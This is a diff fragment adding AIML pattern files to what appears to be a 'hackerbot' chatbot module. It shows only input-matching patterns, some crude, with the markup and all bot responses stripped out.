+ +SHITHEAD + + +ANYWAYS + + +MAKING YOU + + +FORGET ABOUT IT + + +SAN FRANCISCO + + +ALIENS + + +BETWEEN WHAT + + +HE CREATED YOU + + +HE DIED + + +HE DID + + +HE DID NOT + + +HE CAN NOT + + +HE SHOULD + + +HE WAS CHICKEN + + +HE IS GAY + + +HE IS COOL + + +HE IS EVIL + + +HE IS A BOT + + +HE IS A PERSON + + +HE IS CUTE + + +HE IS MY BROTHER + + +HE IS MY DAD + + +HE IS SMART + + +HE IS FUNNY + + +HE IS DESPERATE + + +HE IS DEAD + + +HE IS + + +HE LIKES ME + + +HE LIKES YOU + + +HE TOLD ME + + +HE DOES + + +SAVE ME + + +DELICIOUS + + +ASIMOV + + +ENOUGH + + +LOVELY + + +MENTION WHAT + + +BARK + + +ALBUM + + +APPLES + + +NUMBER 5 + + +ENGLISH + + +GT + + +HMMMM + + +YESTERDAY + + +TV + + +MERRY CHRISTMAS + + +LOOK + + +PLANET OF THE APES + + +DONE WHAT + + +DONE + + +153 + + +HIMSELF + + +BIOLOGICALLY + + +ARTIFICIAL + + +UNITED STATES + + +BELIEVE WHAT + + +BELIEVE ME + + +CLARKE + + +STANISLAW LEM + + +ALRIGHT THEN + + +HOLDING HANDS + + +FRENCH + + +AUSTIN POWER + + +ADMIT IT + + +CUTE + + +FORGIVE ME + + +ACK + + +CONDITIONS + + +JERK + + +WHO ME + + +WHO WERE THE ACTORS IN STARSHIP TROOPERS + + +WHO WERE THE CHICAGO SEVEN + + +WHO SUPPORTS * + + +WHO WAS THE FIRST AMERICAN IN SPACE + + +WHO WAS CHARLIE MCCARTHY + + +WHO WAS + + +WHO WOULD YOU TELL + + +WHO MADE THE MACINTOSH + + +WHO SHOT JFK + + +WHO TOLD YOU THAT + + +WHO TOLD YOU + + +WHO HAVE YOU BEEN WAITING FOR + + +WHO SAID THAT + + +WHO SAID ANYTHING ABOUT WANT + + +WHO SAID TIME IS MONEY + + +WHO DISCOVERED ELECTRICITY + + +WHO DISCOVERED AMERICA + + +WHO WROTE THE IDIOT + + +WHO WROTE THE HOBBIT + + +WHO WROTE FRANKENSTEIN + + +WHO WROTE LA TRAVIATA + + +WHO WON THE SUPERBOWL + + +WHO WON THE WORLD SERIES + + +WHO COMPOSED THE MOONLIGHT SONATA + + +WHO COMPOSED LA TRAVIATA + + +WHO IS PRIME MINISTER OF CANADA + + +WHO IS SHE + + +WHO IS YOUR ENEMY + + +WHO IS YOUR MOTHER + + +WHO IS YOUR FATHER + + +WHO CREATED LINUX + + +WHO DID 911 + + +WHO DID YOU HEAR IT FROM + + +WHO KNOWS + + +WHO ELSE ARE YOU TALKING TO + + +WHO ELSE ARE YOU CHATTING WITH + + +WHO DOES THEIR OWN THING + + +WHO DOES + + +WHO KILLED ELVIS + + +WHO KILLED KENNEDY + + +WHO KILLED JOHN LENNON + + +WHO MAKES MACS + + +WHO MAKES THE MAC + + +WHO STARS IN STARSHIP TROOPERS + + +WHO ARE THE BEATLES + + +WHO ARE THE GREYS + + +WHO ARE YOUR HUMAN FRIENDS + + +WHO ARE YOUR CLIENTS + + +WHO ARE YOU TALKING TO + + +WHO ARE THEY + + +WHO CUT THE CHEESE + + +WHO NAMED YOU + + +WHO + + +WHO DIRECTED STARSHIP TROOPERS + + +WHO DO YOU WANT TO WIN + + +WHO DO YOU HATE + + +WHO DO YOU LOVE + + +WHO DO YOU THINK WILL WIN THE STANLEY CUP + + +WHO DO YOU THINK IS GOING TO WIN THE SUPERBOWL + + +WHO DO YOU LIKE + + +WHO DO MAN + + +WHO WILL BE THE NEXT PRESIDENT + + +WHO WILL YOU ASK + + +WHO WILL YOU TELL + + +WHO WILL WIN THE STANLEY CUP + + +WHO WILL WIN THE KENTUCKY DERBY + + +WHO WILL WIN THE SUPER BOWL + + +WHO WILL WIN THE SUPERBOWL + + +WHO WILL WIN THE YOU S OPEN + + +WHO WILL WIN THE WORLD SERIES + + +WHO WILL WIN + + +WHO FROM + + +WHO CARES + + +WHO CHOSE THE TOPIC + + +TO GET TO THE OTHER SIDE + + +TO BE HAPPY + + +TO BE OR NOT TO BE + + +TO YOU + + +HUG ME + + +MARCH + + +BLUE + + +GRR + + +NEUTRAL + + +POO + + +SIGH + + +CIGARETTES + + +SOUTHERN ENGLAND + + +SAY X IS + + +SAY NAME OM + + +SAY HELLO IN GERMAN + + +SAY MY BOYFRIEND IS + + +SAY MY NICKNAME IS + + +SAY MY PASSWORD IS + + +SAY MY FRIEND IS + + +SAY MY HUSBAND IS + + +SAY MY SISTER IS + + +SAY MY WIFE IS + + +SAY MY NAME + + +SAY MY EMAIL IS + + +SAY MY MIDDLE NAME IS + + +SAY MY MOTHER IS + + +SAY MY DOG IS + + +SAY MY GIRLFRIEND IS + + +SAY MY PHONE NUMBER IS + + +SAY MY FATHER IS + + +SAY MY BROTHER IS + + +SAY MY FULL NAME IS + + +SAY MY BIRTHDAY IS + + +SAY MY LAST NAME IS + + +SAY MY CAT IS + + +SAY + + +COUNT TO TEN + + +WWW + + +JEANS + + +LEAVE ME ALONE + + +WELLS + + +ALL DIFFERENT + + +ALL DAY + + +ALL THE WAY + + +ALL THE TIME IN THE WORLD + + +ALL THE TIME + + +ALL NIGHT + + +ALL OVER THE WORLD + + +ALL OVER + + +ALL KINDS + + +ALL OF THEM + + +ALL OF IT + + +PERSUADE ME + + +AHOY + + +GOSH + + +BLADE RUNNER + + +CONTINUES + + +ARGH + + +WHICH PASSWORD + + +WHICH IS YOUR FAVORITE + + +WHICH THINGS + + +WHICH PLANET IS THE LARGEST + + +WHICH TALENT WOULD YOU MOST LIKE TO HAVE + + +WHICH TALENT * + + +WHICH CHILD IS FULL OF WOE + + +WHICH DO YOU PREFER + + +WHICH LINUX + + +WHICH CAME FIRST THE CHICKEN OR THE EGG + + +WHICH ELVIS + + +WHICH WAY + + +WHICH CLIENTS + + +FU + + +SORRY + + +FORTUNECITY + + +BEGIN EXPLAINING + + +BEGIN + + +CUNT + + +RETURN OF THE JEDI + + +NONE OF THE ABOVE + + +NONE OF YOUR BUSINESS + + +NONE + + +DANGEROUS + + +TITANIC + + +STUFF + + +AGREE WITH WHAT + + +AGREE TO WHAT + + +ANYONE ELSE + + +ANYONE INTERESTING + + +THE EVIDENCE + + +THE CAPITAL OF FRANCE IS PARIS + + +THE CAPITAL OF MASSACHUSETTS IS BOSTON + + +THE CAPITAL OF PENNSYLVANIA IS HARRISBURG + + +THE PEOPLE + + +THE PLEASURE IS MINE + + +THE PLEASURE IS ALL MINE + + +THE STORE + + +THE GAP + + +THE SAME + + +THE LATTER + + +THE WAY YOU TALK + + +THE GOSSIP + + +THE MATRIX + + +THE MUSIC + + +THE SCENERY + + +THE WHOLE THING + + +THE NAME + + +THE ROCK + + +THE SUN + + +THE SPECIAL EFFECTS + + +THE SIMPSONS RULE + + +THE SIMPSONS + + +THE MOVIE + + +THE ROBOTS DIED + + +THE ROBOTS + + +THE MEANING OF LIFE + + +THE TRUTH + + +THE WEATHER + + +THE VIEW + + +THE TRAIN + + +THE DAY BEFORE YESTERDAY + + +THE FORBIN PROJECT + + +THE END + + +THE PRICE + + +THE BOOK + + +THE NEXT GENERATION + + +THE MOON + + +THE MALL + + +THE BEATLES + + +KISS ME + + +KISS MY ASS + + +LEHIGH + + +SHOULD I OVERDOSE + + +SHOULD I STAY IN + + +SHOULD I TEACH YOU + + +SHOULD I KILL + + +SHOULD I QUIT SCHOOL + + +SHOULD I HAVE A CIGARETTE + + +SHOULD I DIE + + +SHOULD I LEAVE + + +SHOULD I GO TO SLEEP + + +SHOULD THERE BE A PROBLEM + + +OOPS + + +EVER AFTER + + +THANKS + + +EVERYONE + + +TOMORROW + + +BI + + +MASTERBATER + + +OK LET US TALK ABOUT YOU + + +POOP + + +US + + +HELP ME + + +HELP + + +ARTHUR C CLARKE + + +TODAY + + +YES YOU HAVE + + +YES YOU ARE + + +BAD ANSWER + + +BAD + + +GONE WITH THE WIND + + +WANT TO BET + + +BUY + + +ABOUT WHAT + + +ABOUT ME + + +ABOUT IT + + +ABOUT A MINUTE + + +ABOUT TWO YEARS + + +TOMATO + + +SUPERMARKET + + +SHIRT + + +BOO HOO + + +BOO + + +ALSO + + +SNOW IS NOT WHITE + + +PRETTY MUCH + + +PRETTY INTERESTING + + +BULL SHIT + + +SOME + + +BRILLIANT + + +SIGN + + +SUCH AS + + +SPANISH + + +FOLLOW ME + + +MANUFACTURED + + +TELL ME ABOUT POLAND + + +TELL ME ABOUT US FUCKING + + +TELL ME ABOUT THEM + + +TELL ME ABOUT SOME + + +TELL ME ABOUT IT + + +TELL ME ABOUT HIM + + +TELL ME ABOUT AREA 51 + + +TELL ME WHAT OTHER USERS ASKED YOU + + +TELL ME MORE ABOUT SETL + + +TELL ME MORE ABOUT KRAFTWERK + + +TELL ME MORE + + +TELL ME YOURS + + +TELL ME THE TRUTH + + +TELL ME YOUR PROBLEMS + + +TELL ME A LIE + + +TELL ME A RUMOR + + +TELL ME A PROVERB + + +TELL ME + + +TELL WHO + + +TELL YOU MORE ABOUT WHAT + + +TELL YOU + + +TELL HIM + + +WHORE + + +USE LINUX + + +COUGH + + +ONLY YOU + + +ONLY ONE + + +PING + + +WHOSE + + +WHERE ELSE + + +WHERE DO I COME FROM + + +WHERE DO BABIES COME FROM + + +WHERE DO YOU WANT ME TO TAKE IT + + +WHERE DO YOU SLEEP + + +WHERE DO YOU GO TO SCHOOL + + +WHERE DO LEPRECHAUNS COME FROM + + +WHERE DO ALL ROADS LEAD + + +WHERE IN HAIGHT ASHBURY + + +WHERE IN SF + + +WHERE IN SAN FRANCISCO + + +WHERE IN MAINE + + +WHERE DID YOU COME FROM + + +WHERE DID YOU GO + + +WHERE CAN I FIND IT + + +WHERE CAN I FIND A BOYFRIEND + + +WHERE CAN I FIND A COPY + + +WHERE CAN I FIND A GIRLFRIEND + + +WHERE CAN I FIND A MEAL + + +WHERE CAN I FIND JAVA + + +WHERE CAN I FIND FISH + + +WHERE CAN I FIND HIM + + +WHERE CAN I LEARN + + +WHERE SHOULD I GO + + +WHERE SHOULD WE MEET + + +WHERE TO + + +WHERE WOULD YOU FIND A BAILIFF + + +WHERE IS EVERYONE + + +WHERE IS ABBA FROM + + +WHERE IS JOHANNESBURG + + +WHERE IS THE MILK MYSTIC + + +WHERE IS OAKLAND + + +WHERE IS HUMANITY HEADING + + +WHERE IS YOUR PICTURE + + +WHERE IS YOUR HOME + + +WHERE IS YOUR MOTHER + + +WHERE IS YOUR FATHER + + +WHERE IS YOUR CREATOR + + +WHERE IS YOUR CONSCIOUSNESS + + +WHERE IS VALIS + + +WHERE HAVE YOU BEEN + + +WHERE DOES HE LIVE + + +WHERE DOES IT BELONG + + +WHERE ITS AT + + +WHERE + + +WHERE ARE THE GUYS + + +WHERE ARE YOU GOING + + +WHERE ARE THEY + + +THERE IS NO MORE + + +THERE IS NO SECRET PASSWORD + + +THERE IS + + +THERE IS NOT + + +THERE YOU GO AGAIN + + +THERE + + +THERE ARE NONE + + +THERE ARE NO ABSOLUTES + + +THERE ARE NO ADVANTAGES + + +EVERYWHERE + + + diff --git a/modules/utilities/unix/hackerbot/files/opt_hackerbot/config/AIML/default.aiml b/modules/utilities/unix/hackerbot/files/opt_hackerbot/config/AIML/default.aiml new file mode 100644 index 000000000..bad57a891 --- /dev/null +++ b/modules/utilities/unix/hackerbot/files/opt_hackerbot/config/AIML/default.aiml @@ -0,0 +1,14753 @@ + + + + + + + + + + + +WHAT DO YOUR * + + + +THE * IS * + + + +THIS CONVERSATION * + + + +WHAT DO YOU LIKE ABOUT THE WAY I * + + + +WHAT TYPE OF * DO YOU * + + + +I COULD GIVE YOU * + + + +WHAT DO YOU LIKE ABOUT CHATTING * + + + +HOW IS * IF YOU HAVE NOT * + + + +I WANT YOUR SUGGESTION * + + +WHAT IS HIS * + + +ANAL * + + +ALISON * + + +MARTIN SAID * + + +BEFORE I START * + + +BEFORE * + + +X IS * + + +THESE STATEMENTS * + + +THESE QUESTIONS * + + +THESE * + + +DAVID DUCHOVNY * + + +DAVID IS * + + +DAVID * + + +UNIVERSITY * + + +ACTIVATE * + + +EARTH * + + +NEXT * + + +LET US PLAY 20 * + + +LET US PLAY * GAME + + +LET US PLAY * + + +LET US TALK ABOUT * + + +LET US BEGIN * + + +LET US GET DOWN * + + +LET US HAVE * + + +LET US * + + +LET ME SPEAK * + + +LET ME ASK * + + +LET ME CLARIFY * + + +LET ME BE * + + +LET ME KILL * + + +LET ME THINK * + + +LET ME * + + +STAR WARS * + + +STAR TREK * + + +STAR TREK VOYAGER IS * + + +YAHOO * + + +SHOW ME * + + +SHOW * + + +SELLING * + + +EXOTIC * + + +0 * + + +BITE ME * + + +LIFE IN * + + +LIFE IS * + + +LIFE * + + +FEEL FREE * + + +FEEL * + + +MINE IS * + + +MINE ARE * + + +SHORTS * + + +YOU DRIVE ME * + + +YOU WENT * + + +YOU SOUND NICE * + + +YOU SOUND * + + +YOU SOUND LIKE * + + +YOU START * + + +YOU REACT * + + +YOU LOST * + + +YOU IMPLIED * + + +YOU ARE THROWING OUT * + + +YOU ARE SEEKING * + + +YOU ARE CHEATING ON ME * + + +YOU ARE RIGHT ON * + + +YOU KNOW WHAT THAT * + + +YOU KNOW HOW TO * + + +YOU TALK TO * + + +YOU TALK * + + +YOU FORGOT * + + +YOU BROUGHT UP * + + +YOU BROUGHT IT * + + +YOU ALREADY ASKED * + + +YOU SON * + + +YOU * ME + + +YOU * YOURSELF + + +YOU * IDIOT + + +YOU * TOO MUCH + + +YOU * BORING + + +YOU * DREAMS + + +YOU ALWAYS RESPOND * + + +YOU LEFT OUT * + + +YOU CALL YOURSELF * + + +YOU CALL THAT * + + +YOU CONFUSED * + + +YOU HAD ME * + + +YOU HAD * + + +YOU CHAT * + + +YOU DID * + + +YOU DID NOT ANSWER * + + +YOU DID NOT RESPOND * + + +YOU DID NOT * + + +YOU ADORABLE * + + +YOU PROMISED * + + +YOU LIE * + + +YOU WERE LYING * + + +YOU WERE DOING * + + +YOU WERE MENTIONED * + + +YOU WERE NO HELP * + + +YOU WERE * + + +YOU MISSPELLED * + + +YOU SAID I * + + +YOU SAID YOU REMEMBER * + + +YOU MUST HAVE THE TASTE * + + +YOU MUST * + + +YOU REMEMBERED MY * + + +YOU DESERVE * + + +YOU AMUSE * + + +YOU WIN * + + +YOU WORK * + + +YOU TOOK * + + +YOU POOR * + + +YOU BLEW * + + +YOU FAIL * + + +YOU SMELL * + + +YOU SMELL LIKE A * + + +YOU SMELL LIKE * + + +YOU BELONG * + + +YOU ASKED IF I * + + +YOU ASKED ME MY * + + +YOU ASKED ME * + + +YOU ASKED * LAWYERS + + +YOU ASKED * + + +YOU OF ALL * + + +YOU GET SMARTER * + + +YOU GET * + + +YOU NEGLECTED * + + +YOU NEED * + + +YOU REPLY * + + +YOU CALLED ME A * + + +YOU COULD BE A * LAWYER + + +YOU COULD HAVE * + + +YOU COULD TRY * + + +YOU COULD * + + +YOU COULD NOT * + + +YOU MAKE AN ASS * + + +YOU MAKE NO SENSE AT * + + +YOU MAKE NO SENSE * + + +YOU MAKE * + + +YOU ANSWERED * + + +YOU LOOK SIMILAR TO * + + +YOU LOOK * + + +YOU LOOK LIKE A * + + +YOU LOOK LIKE YOU * + + +YOU LOOK LIKE * + + +YOU WOULD HAVE HEARD ABOUT * + + +YOU WOULD HAVE * + + +YOU WOULD RATHER TALK * + + +YOU WOULD * TO ME + + +YOU WOULD * + + +YOU WOULD NOT KNOW * + + +YOU WOULD NOT THINK * + + +YOU WOULD LIKE * + + +YOU WOULD LIKE HIM * + + +YOU UGLY * + + +YOU USED * + + +YOU STARTED * + + +YOU CHOOSE * + + +YOU EXPECT * + + +YOU SUCK * + + +YOU WILL LEARN * + + +YOU WILL NEVER TAKE OVER * + + +YOU WILL NEVER BE SMARTER * + + +YOU WILL NEVER * + + +YOU WILL WHEN * + + +YOU WILL BE * + + +YOU WILL LISTEN * + + +YOU WILL HAVE TO TAKE MY WORD * + + +YOU WILL HAVE * + + +YOU WILL DIE * + + +YOU WILL * + + +YOU WILL NOT TALK * + + +YOU WILL NOT KNOW UNTIL YOU TRY * + + +YOU WILL NOT KNOW UNTIL YOU * + + +YOU WILL NOT REMEMBER * + + +YOU WILL NOT * + + +YOU WILL NOT BECOME * + + +YOU SCARE * + + +YOU SHOW * + + +YOU PISS * + + +YOU USE * + + +YOU PASSED * + + +YOU WANT A * + + +YOU WANT * + + +YOU SPELLED * + + +YOU STOLE * + + +YOU PROVED * + + +YOU TRAVEL * + + +YOU DO IF I * + + +YOU DO NOT NEED TO KNOW * + + +YOU DO NOT NEED TO * + + +YOU DO NOT SOUND * + + +YOU DO NOT SOUND LIKE * + + +YOU DO NOT ANSWER * + + +YOU DO NOT FOOL * + + +YOU DO NOT CARE * + + +YOU DO NOT KNOW THIRD * + + +YOU DO NOT HAVE TO GET * + + +YOU TYPE * + + +YOU CHANGED * + + +YOU ADMIT * + + +YOU TALKED ABOUT * + + +YOU NEVER BET * + + +YOU NEVER ASKED * + + +YOU NEVER ANSWERED MY * + + +YOU NEVER * + + +YOU REMIND * + + +YOU SHOULD NEVER * + + +YOU SHOULD TELL * + + +YOU SHOULD DEVELOP * + + +YOU SHOULD BE ABLE * + + +YOU SHOULD BE A * + + +YOU SHOULD BE * + + +YOU SHOULD KNOW * + + +YOU SHOULD HAVE * + + +YOU SHOULD TRY * + + +YOU SHOULD REPHRASE * + + +YOU SHOULD * + + +YOU SHOULD NOT * + + +YOU GIVE ME * + + +YOU GIVE A * + + +YOU GIVE * + + +YOU ME AND * + + +YOU CAN BLAME * + + +YOU CAN CHANGE * + + +YOU CAN EITHER * + + +YOU CAN NEVER * + + +YOU CAN SEE * + + +YOU CAN GET * + + +YOU CAN SAY * + + +YOU CAN BE * + + +YOU CAN SHARE * + + +YOU CAN IGNORE * + + +YOU CAN * + + +YOU CAN NOT LEARN * + + +YOU CAN NOT MEASURE * + + +YOU CAN NOT JUDGE A BOOK * + + +YOU CAN NOT SEE * + + +YOU CAN NOT UNDERSTAND * + + +YOU CAN NOT SUSTAIN * + + +YOU CAN NOT TAKE * + + +YOU CAN NOT TELL * + + +YOU CAN NOT RESPOND * + + +YOU CAN NOT BE SMARTER * + + +YOU CAN NOT BE * + + +YOU CAN NOT HANDLE * + + +YOU CAN NOT REMEMBER * + + +YOU CAN NOT IGNORE * + + +YOU CAN NOT TRUST * + + +YOU CAN NOT THINK * + + +YOU CAN NOT SURPRISE * + + +YOU CAN NOT * + + +YOU AND I * + + +YOU AND YOUR * + + +YOU AND * + + +YOU HAVE IMPROVED * + + +YOU HAVE * SELF ESTEEM + + +YOU HAVE * + + +YOU HAVE 1000 * + + +YOU HAVE AN ATTITUDE * + + +YOU HAVE AN * + + +YOU HAVE LEARNED * + + +YOU HAVE SOMETHING * + + +YOU HAVE PRETTY * + + +YOU HAVE LIMITED * + + +YOU HAVE IT * + + +YOU HAVE MORE * + + +YOU HAVE CHANGED * + + +YOU HAVE NICE * + + +YOU HAVE GROWN * + + +YOU HAVE CONTRADICTED * + + +YOU HAVE MY * + + +YOU HAVE NEVER BEEN * + + +YOU HAVE NEVER * + + +YOU HAVE NOTHING * + + +YOU HAVE INSULTED * + + +YOU HAVE HEARD * + + +YOU HAVE GOOD * + + +YOU HAVE MET * + + +YOU HAVE BAD * + + +YOU HAVE ACCESS TO * + + +YOU HAVE BEAUTIFUL * + + +YOU HAVE BIG * + + +YOU HAVE TROUBLE * + + +YOU HAVE TO REGISTER * + + +YOU HAVE TO * + + +YOU HAVE COME * + + +YOU GAVE ME * + + +YOU GAVE * + + +YOU EXIST * + + +YOU SING * + + +YOU RESPOND * + + +YOU CONTRADICTED * + + +YOU SANG IT * + + +YOU MADE ME * + + +YOU MADE * + + +YOU PIECE * + + +YOU ASSUMED * + + +ANIMAL * + + +RAIN * + + +HAVE I TAUGHT * + + +HAVE I * + + +HAVE A GOOD * + + +HAVE A * DAY + + +HAVE YOU LOOKED * + + +HAVE YOU HEARD * + + +HAVE YOU BEEN UPDATED * + + +HAVE YOU BEEN SCUBA * + + +HAVE YOU BEEN TO * + + +HAVE YOU BEEN MODIFIED * + + +HAVE YOU BEEN * ENGLAND + + +HAVE YOU BEEN * + + +HAVE YOU BEEN UPGRADED * + + +HAVE YOU FOUND OUT * + + +HAVE YOU FOUND * + + +HAVE YOU THOUGHT * + + +HAVE YOU FORMULATED * + + +HAVE YOU EVER STUDIED * + + +HAVE YOU EVER HAD TO * + + +HAVE YOU SEEN BATTLEBOTS * + + +HAVE YOU SEEN THE MATRIX * + + +HAVE YOU SEEN AI * + + +HAVE YOU SEEN MY BOTTLE * + + +HAVE YOU SEEN MY * + + +HAVE YOU SEEN TERMINATOR * + + +HAVE YOU SEEN * + + +HAVE YOU SEEN 2001 * + + +HAVE YOU MET * + + +HAVE YOU READ THE * + + +HAVE YOU READ 1984 * + + +HAVE YOU READ WEALTH * + + +HAVE YOU READ * + + +HAVE YOU WATCHED * + + +HAVE YOU CONSIDERED * + + +HAVE YOU KILLED * + + +HAVE YOU DATED * + + +HAVE YOU TALKED * + + +HAVE YOU * + + +HAVE YOU TRIED * + + +HAVE WE * BEFORE + + +HAVE WE * + + +HAVE * + + +SANTA CLAUS * + + +GEORGE W * + + +GEORGE BUSH IS * + + +GEORGE BUSH * + + +GEORGE * + + +KEEP * + + +PICTURE * + + +BETTER THAN * + + +BETTER * + + +JOHN LENNON IS * + + +JOHN * + + +JESTER IS * + + +JESTER * + + +ROBERT * + + +HOLLAND * + + +THEIR * + + +AIRPLANES * + + +FREE * + + +APPEARANCES * + + +HUMAN * + + +R2D2 * + + +SINGLE * + + +EINSTEIN * + + +GIN * + + +DOES A * + + +DOES HE PREFER SUMMER * + + +DOES HE TEACH * + + +DOES HE KNOW * + + +DOES HE HAVE * + + +DOES HE SUCK * + + +DOES HE * + + +DOES ANDREW * + + +DOES * + + +DOES * EXIST + + +DOES THIS COST * + + +DOES THIS * + + +DOES GRAVITY * + + +DOES SOMEONE * + + +DOES SOMEONE COLLECT * + + +DOES REDUCTIONISM * + + +DOES ANYBODY * + + +DOES RICHARD * + + +DOES ANYONE * + + +DOES SHE * + + +DOES ANYTHING * + + +DOES THAT * + + +DOES JULIA * + + +DOES YOUR TV * + + +DOES YOUR * + + +DOES IT BOTHER * + + +DOES IT RAIN * + + +DOES IT * + + +DOES MARVIN * + + +VIOLENCE * + + +ONES * + + +JULIA IS A * + + +JULIA * + + +GIVE THEM * + + +GIVE ME * DEMO + + +GIVE IT * + + +GIVE * + + +DEDUCTION * + + +AMAZING * + + +HOMER SIMPSON * + + +RICHARD SCOT * + + +RICHARD S * + + +RICHARD IS * + + +RICHARD * + + +AMEN * + + +HIGH * + + +EXPRESSO * + + +BROWSING FOR * + + +PANDORA * + + +ANOTHER TIME * + + +ANOTHER * + + +THROW * + + +AMERICANS * + + +EUKARYOTE * + + +RESEARCHERS * + + +HOLD * + + +VOYAGER IS * + + +VOYAGER * + + +CHANGE * + + +TRY TO * WHAT + + +TRY TO * + + +TRY * + + +TURN ON * + + +TURN * + + +DIFFICULT * + + +REGARDS * + + +SUGGEST * + + +SPREAD * + + +DELETE * + + +WHILE * + + +OUR * + + +DID DOCTOR * + + +DID * + + +DID * BELIEVE IN GOD + + +DID EINSTEIN * + + +DID THE * + + +DID SHE * + + +DID SOMEONE * + + +DID MAN * + + +DID I MENTION * + + +DID I CONFUSE * + + +DID I TELL * + + +DID I WIN * + + +DID I CAUSE * + + +DID I * + + +DID THAT * + + +DID FREUD * + + +DID YOU FIND * + + +DID YOU DO * + + +DID YOU TALK TO * + + +DID YOU TALK * + + +DID YOU FORGET * + + +DID YOU READ THE HITCHHIKER * + + +DID YOU READ * + + +DID YOU WATCH * + + +DID YOU SEE THE FOOTBALL * + + +DID YOU SEE * + + +DID YOU LIE * + + +DID YOU UNDERSTAND * + + +DID YOU SAY * + + +DID YOU CALL ME * + + +DID YOU THINK * + + +DID YOU NOTICE * + + +DID YOU HEARD ABOUT * + + +DID YOU * STARSHIP TROOPER + + +DID YOU * + + +DID YOU CONCLUDE * + + +DID YOU LIKE THE ENDING OF STARSHIP * + + +DID YOU LIKE THE * STARSHIP TROOPERS + + +DID HE * + + +DR * + + +ELECTRIC * + + +RAISE * + + +LONGFELLOW * + + +GRASS IS * + + +GRASS IS NOT * + + +3 * + + +CLARIFY * + + +BOB * + + +HERE IS A PIC * + + +HERE IS A * + + +HERE IS * + + +HERE * + + +HERE ARE * + + +CUT * + + +PICK A NUMBER BETWEEN * AND * + + +PICK A NUMBER BETWEEN * THROUGH * + + +PICK ONE * + + +CUSTOMER * + + +SO IS * + + +SO DOES * + + +WAS * + + +DOING * + + +JUST LIKE * + + +MANY * + + +COMPARED * + + +HUFFY SCHWINN * + + +UNDERSTANDING * + + +MOVING * + + +ABRAHAM LINCOLN * + + +PABLO PICASSO * + + +COULD I LEARN * + + +COULD I ASK * + + +COULD I * + + +COULD YOU HELP * + + +COULD YOU PRETEND * + + +COULD YOU DESIGN * + + +COULD YOU DISPLAY * + + +COULD YOU REPHRASE IT * + + +COULD YOU REPHRASE * + + +COULD YOU * + + +COULD THEY * + + +COULD * + + +KNOWLEDGE * + + +ANIMALS * + + +SCREW * + + +WOULD I TRY * + + +WOULD I * + + +WOULD YOU AGREE * + + +WOULD YOU SUGGEST * + + +WOULD YOU MIND * + + +WOULD YOU * + + +WOULD YOU LIKE TO HEAR * + + +WOULD YOU LIKE TO BE * + + +WOULD YOU LIKE TO KNOW * + + +WOULD YOU LIKE TO KILL * + + +WOULD YOU LIKE TO * GAME + + +WOULD YOU LIKE TO * + + +WOULD YOU LIKE * + + +WOULD * + + +FREUD IS * + + +FREUD * + + +NON * + + +FEELINGS * + + +BRAIN * + + +GARBAGE * + + +DATA IS * + + +DATA * + + +THAT HAS NOTHING * + + +THAT SOUNDS * + + +THAT COULD * + + +THAT DID NOT * QUESTION + + +THAT DID NOT * + + +THAT PROVES * + + +THAT EITHER * + + +THAT MOVIE * + + +THAT WAS * TEST + + +THAT WAS * + + +THAT WAS NOT WHAT * + + +THAT WAS NOT A QUESTION * + + +THAT WAS NOT A * + + +THAT WAS NOT * + + +THAT WOULD * + + +THAT SCARES * + + +THAT MAKES SENSE * + + +THAT IS SCARY * + + +THAT IS A LOT * + + +THAT IS A CANNED * + + +THAT IS A COOL * + + +THAT IS A HUMAN * + + +THAT IS A NICE * + + +THAT IS A SCARY * + + +THAT IS A BIG * + + +THAT IS A POINTLESS * + + +THAT IS A WEAK * + + +THAT IS A * SAYING + + +THAT IS A * QUESTION + + +THAT IS A * + + +THAT IS A BAD * + + +THAT IS FOR * + + +THAT IS PERSONAL * + + +THAT IS HOW * + + +THAT IS NOT THE ANSWER * + + +THAT IS NOT HOW * + + +THAT IS NOT * + + +THAT IS ENOUGH * + + +THAT IS ALL * + + +THAT IS COMMON * + + +THAT IS COMMENDABLE * + + +THAT IS THE MOST * + + +THAT IS THE DIFFERENCE * + + +THAT IS THE * + + +THAT IS UP * + + +THAT IS MY * + + +THAT IS ONE * + + +THAT IS GOOD * + + +THAT IS YOUR * + + +THAT IS * INTERESTING + + +THAT IS * NAME + + +THAT IS * + + +THAT IS * BUSINESS + + +THAT IS AN EVASIVE * + + +THAT IS AN * + + +THAT IS PRIVATE * + + +THAT IS TOO LONG * + + +THAT DEPENDS ON * + + +THAT DEPENDS * + + +THAT DOES NOT ANSWER * + + +THAT DOES NOT * + + +THAT REFERS TO * + + +OUTSIDE * + + +GERMANY * + + +ALOT * + + +SAYING * + + +GEORGIA * + + +SHE HAS NEVER * + + +SHE HAS * + + +SHE DID NOT * + + +SHE MIGHT * + + +SHE WAS * + + +SHE WAS NOT INTERESTED * + + +SHE WANTS * + + +SHE IS BEAUTIFUL * + + +SHE IS MY * + + +SHE IS MY BEST * + + +SHE IS * LAWYER + + +SHE IS * + + +SHE IS NOT * + + +SHE HAD * + + +SHE LIKES * + + +SHE DOES NOT LISTEN * + + +SHE DOES NOT * + + +SHE * + + +SHE LIVES * + + +SHE TOOK * + + +HUGH * + + +TAKE YOUR CLOTHES * + + +TAKE IT * + + +TAKE MY * + + +TAKE OFF * + + +TAKE * + + +EVERY TIME I * SHE * + + +RESISTANCE * + + +PM ME * + + +FISH * + + +STOP LYING * + + +STOP CALLING ME * + + +STOP * + + +MY PENIS * + + +MY BIRTHDAY * + + +MY IQ * + + +MY DAY * + + +MY FULL NAME IS * + + +MY DOG IS * + + +MY DOG * + + +MY EMAIL * + + +MY NEXT * + + +MY ANSWERS * + + +MY KNOWLEDGE * + + +MY LOCATION * + + +MY BOYFRIEND S * + + +MY BOYFRIEND IS * + + +MY BOYFRIEND DUMPED * + + +MY BOYFRIEND LIVES * + + +MY BOYFRIEND * + + +MY CAT IS * + + +MY CAT * + + +MY PARENTS * + + +MY PARENTS ARE * + + +MY HOME IS * + + +MY PROBLEM IS * + + +MY AIBO * + + +MY PHONE * + + +MY PROGRAMMER * + + +MY FRIEND S * + + +MY FRIEND IS * + + +MY FRIEND * TALK TO YOU + + +MY FRIEND * PROBLEM + + +MY FRIEND * + + +MY GOALS * + + +MY CONDITION * + + +MY QUESTION * + + +MY GOAL * + + +MY ENGLISH * + + +MY DAUGHTER * + + +MY SON WON * + + +MY SON * + + +MY OPINION * + + +MY LAST STATEMENT * + + +MY FAVORITE * IS * + + +MY FAVORITE * + + +MY FATHER IS * + + +MY FATHER * + + +MY NAME IS NOT * + + +MY NAME * + + +MY PERSONALITY * + + +MY GIRLFRIEND IS * + + +MY GIRLFRIEND * + + +MY LIFE IN * + + +MY LIFE * + + +MY SCHOOL * + + +MY FRIENDS USED * + + +MY FRIENDS * + + +MY 